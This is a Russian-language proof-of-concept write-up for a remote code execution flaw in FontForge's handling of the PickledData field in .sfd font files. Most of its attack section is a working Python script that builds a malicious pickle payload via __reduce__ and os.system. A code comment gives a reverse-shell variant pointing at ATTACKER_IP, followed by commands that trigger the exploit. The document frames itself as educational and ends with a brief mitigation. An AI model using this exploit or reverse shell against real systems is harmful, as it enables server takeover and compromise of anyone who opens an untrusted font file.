
Доказательство концепции для CVE-2025-15276 - уязвимость удаленного выполнения кода при разборе SFD-файлов FontForge (десериализация недоверенных данных)
Этот Proof of Concept (PoC) предназначен только для образовательных целей и аудита безопасности. Автор не несет ответственности за неправомерное использование этой информации. Несанкционированный доступ к компьютерным системам незаконен. Всегда получайте явное разрешение перед проведением тестирования безопасности на любой системе.
CVE-2025-15276 — это критическая уязвимость удаленного выполнения кода (RCE) в FontForge (версии до 20230101 включительно). Ошибка существует при разборе формата Spline Font Database (.sfd), а именно в поле PickledData.
Формат SFD FontForge позволяет хранить постоянные словари Python с помощью ключевого слова PickledData. При загрузке шрифта FontForge извлекает эту строку и передает ее напрямую в функцию Python (или эквивалентную внутреннюю процедуру десериализации) без какой-либо очистки или изоляции.
pickle.loads()Поскольку модуль Python pickle по своей сути небезопасен и позволяет произвольно восстанавливать объекты, злоумышленник может использовать метод __reduce__ для выполнения произвольных системных команд с привилегиями пользователя, запускающего FontForge.
20230101 или более ранняя.Используйте следующий скрипт Python (gen_poc.py) для создания файла exploit.sfd. Этот PoC настроен на создание файла в /tmp/pwned в качестве безопасного индикатора компрометации (IoC).
import pickle
import os
# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd generated successfully.")
Уязвимость можно запустить, просто открыв файл в FontForge.
Вариант A: Стандартная загрузка через GUI/CLI
fontforge exploit.sfd
Вариант B: Интерфейс скриптов Python (часто используется в автоматизированных конвейерах)
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'
Проверьте, была ли выполнена команда:
ls -l /tmp/pwned
Эта уязвимость особенно опасна в конвейерах обработки шрифтов (например, веб-конвертеры шрифтов или автоматические скрипты проверки), которые используют FontForge в бэкенде для обработки загруженных пользователями файлов. Если бэкенд-скрипт вызывает fontforge.open() для ненадежного .sfd-файла, злоумышленник получает полный контроль над сервером обработки.
.sfd-файлов из ненадежных источников.